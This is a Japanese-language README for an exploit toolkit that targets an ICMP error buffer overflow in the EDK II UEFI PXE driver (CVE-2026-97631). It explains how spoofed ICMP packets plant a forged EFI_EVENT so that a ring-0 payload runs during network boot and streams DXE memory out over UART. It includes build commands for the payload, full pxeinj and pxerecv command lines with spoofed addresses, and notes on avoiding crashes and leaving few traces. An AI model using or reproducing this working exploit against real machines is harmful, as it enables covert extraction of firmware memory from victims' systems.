
EDK II UEFI PXE ICMPエラーオーバーフロー(CVE-2026-97631)向けのエクスプロイトツール:偽装ICMPパケットを生成し、偽のEFI_EVENTを仕込み、UART経由でDXEメモリをダンプします。
EDK II PXE Base CodeドライバのICMPエラーオーバーフロー
(NetworkPkg/UefiPxeBcDxe、GHSA-99cj-7hg9-mp4m、CVSS 4.0 9.5) 向けのツール群。
PXEブート中、ドライバはICMPエラーメッセージを固定長504バイトの
バッファにコピーする。これより長いメッセージはそのバッファを越えてDXE
プールへ線形書き込みとなる。書き込み先がバッファ自身のアドレスであるため、
ペイロードは位置非依存である。データグラムのiバイト目は&Mode->IcmpError + i
に着地する。このオーバーフローは偽造されたEFI_EVENTを植え付け、DXEコアは
通常のCoreSignalEvent経路でそれをディスパッチする。ペイロードはスナップショットから
イベントを復元し、オペレータが選択したメモリ範囲を走査し、EFI_SUCCESSを返す
ことでブートを継続させる。
影響範囲はファームウェア自身のDXEメモリ内にとどまる。フラッシュ書き込みも、 永続化メカニズムも、OS上の痕跡もない。
include/pxe_layout.h EFI_PXE_BASE_CODE_ICMP_ERROR, IEVENT offsets, wire structs
include/craft.h one packet = one primitive
include/graft.h counterfeit event + payload parameter block
include/layout.h the overflow region (single source of truth)
src/payload.S ring-0 payload: restore, walk ranges, stream out
src/craft.c packet construction, IPv4 + IPv6
src/graft.c IEVENT overlay, parameter block
src/layout.c overflow assembly, shared by sender and simulator
src/main.c pxeinj: sniff xid, probe, send
src/net.c raw L3 transport, DHCP xid sniffer
src/recv.c pxerecv: serial collector, dump + map
sim/sim.c host harness that proves the chain
tools/fw_offsets.py pool offsets from a debug firmware build
ペイロード:
as --64 -o build/payload.o src/payload.S
ld -Ttext=0 -e payload_start --oformat elf64-x86-64 -o build/payload.elf build/payload.o
objcopy -O binary --only-section=.text build/payload.elf build/payload.bin
結果は 378 バイトで、位置独立であり、リロケーションはありません。
送信側と受信側は POSIX(AF_PACKET、IP_HDRINCL、termios)に準拠しており、Linux 上で make を使用してビルドします。シミュレータは Makefile.win を介して MSVC でビルドします:
cl /nologo /W3 /O2 /Iinclude /Fe:build\sim.exe sim\sim.c src\craft.c src\graft.c src\layout.c
build/sim.exe は偽のプールページをマップし、脆弱な memcpy が行うはずの場所にオーバーフローを書き込み、結果として得られる IEVENT がペイロードをディスパッチすることを確認し、そのペイロードを実際のマシンコードとして呼び出したうえで、以下を検証します:
レイアウト、ABI、フレーミング、パケット構築に関する 26 のチェック。これは各部分が互いに整合していることを証明します。特定のファームウェアのプールアドレスを証明するものではありません。それは実行時の割り当てです。
2 つのモードを順番に使用します。
Probe: 合法なパスのみで、範囲外書き込みは行いません。
pxeinj --target 10.0.0.50 --spoof 10.0.0.1 --sniff --probe --send
整形式の504バイトICMPエラー。同じなりすまし、同じ埋め込みBOOTPトランザクション、 その他すべて同じ。クライアントが起動を続けるなら、そのエラーは受理され、 脆弱なコピーループに到達したことになる。非破壊的な確認であり、プールアドレスを必要としない。
Overflow: 次の3つが揃うまでビルドを拒否する。プールベース
(tools/fw_offsets.py)、未加工のイベントバイト列(--shadow)、そして少なくとも1つの
範囲である。
pxeinj --target 10.0.0.50 --spoof 10.0.0.1 --xid 0xdeadbeef \
--pool-base 0x7f12345000 --payload build/payload.bin \
--ranges ranges.txt --shadow shadow.bin --uart 0x3f8 --send
pxerecv -d /dev/ttyUSB0 -o dump.bin -m dump.map
ranges.txt は 1 行につき 1 つの START-END で、16 進数表記に 0x は付けません。サイズと時間の目安については ranges.example.txt を参照してください。v6 のオーバーフローパスは無効化されています。probe は v6 上で動作しますが、書き込みは行われません。これは、パッチ適用済みのソースから v6 のコピー境界が再導出されるまでの間の措置です。
EFI_SUCCESS を返すため、ブートが続行されるSignalLink が自己整合しているため、リスト走査でアサートが発生しない残留する痕跡はこのバグに固有のものです。イベントは通常とは異なるタイミングでシグナルされ、プールページはダーティなまま残り、プラットフォームが TPM で DXE を測定している場合、PCR の値はブート開始時のままとなります。それ以上のことについては、このバグの性質ではありません。
--send は必須です。デフォルトはドライランです--pool-base、--payload、--shadow、および空でない範囲リストがないとビルドを拒否します。これらはいずれも推測するとファームウェアを破壊する具体的な経路があるため、省略できません--shadow は期待されるオフセットに EFI_EVENT シグネチャを含んでいる必要があります。これにより、ゼロ埋めされたファイルと誤った --event-off をディスパッチ時ではなく 1 回のチェックで検出できますMode->IcmpError のプールアドレスは実行時のアロケーションであり、ファームウェアのビルドごとに異なります。リンクマップから導出することはできません。tools/fw_offsets.py はオフセットを提供しますが、ベースアドレスは対象ファームウェア上で、たとえば DEBUG_POOL トレースから測定し、その後キャッシュする必要があります。sizeof(EFI_PXE_BASE_CODE_MODE) と offsetof(..., IcmpError) は edk2 のリリース間で変化します。tools/fw_offsets.py のデフォルト値は出発点であり、信頼できる値ではありません。DpcHandle 関数を読んでください。CoreSignalEvent はそのイベントを走査してしまいます。このため、ツールは --shadow なしでのビルドを拒否します。